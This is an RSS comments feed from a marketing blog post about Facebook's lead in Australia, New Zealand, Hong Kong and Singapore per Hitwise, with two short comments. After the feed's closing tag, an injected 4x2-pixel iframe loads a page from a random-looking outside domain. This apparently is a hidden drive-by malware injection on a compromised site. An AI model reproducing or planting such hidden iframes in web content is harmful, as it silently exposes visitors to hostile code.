<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Facebook &#8211; leads in Australia, New Zealand, Hong Kong and Singapore according to Hitwise</title>
	<atom:link href="http://www.kristi-barrow.com/facebook-leads-in-australia-new-zealand-hong-kong-and-singapore-according-to-hitwise/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kristi-barrow.com/facebook-leads-in-australia-new-zealand-hong-kong-and-singapore-according-to-hitwise/</link>
	<description>Online Marketing Professional</description>
	<lastBuildDate>Wed, 25 Aug 2010 01:54:48 +1000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Top 10 Facebook Countries by Users 2008 &#124; Top Facebook Cities in Australia by Users 2008 &#124; Krustyfries</title>
		<link>http://www.kristi-barrow.com/facebook-leads-in-australia-new-zealand-hong-kong-and-singapore-according-to-hitwise/comment-page-1/#comment-62</link>
		<dc:creator>Top 10 Facebook Countries by Users 2008 &#124; Top Facebook Cities in Australia by Users 2008 &#124; Krustyfries</dc:creator>
		<pubDate>Fri, 19 Dec 2008 00:48:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.krustyfries.com/?p=167#comment-62</guid>
		<description>[...] is talking about Facebook at the moment in Australia.  There was a lot of interest in my article Facebook - leads in Australia, New Zealand, Hong Kong and Singapore according to Hitwise, far more than anything else I have ever [...]</description>
		<content:encoded><![CDATA[<p>[...] is talking about Facebook at the moment in Australia.  There was a lot of interest in my article Facebook &#8211; leads in Australia, New Zealand, Hong Kong and Singapore according to Hitwise, far more than anything else I have ever [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris K</title>
		<link>http://www.kristi-barrow.com/facebook-leads-in-australia-new-zealand-hong-kong-and-singapore-according-to-hitwise/comment-page-1/#comment-61</link>
		<dc:creator>Chris K</dc:creator>
		<pubDate>Wed, 17 Dec 2008 23:08:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.krustyfries.com/?p=167#comment-61</guid>
		<description>To find the exact number just click on advertising and choose the country :)</description>
		<content:encoded><![CDATA[<p>To find the exact number just click on advertising and choose the country <img src='http://www.kristi-barrow.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>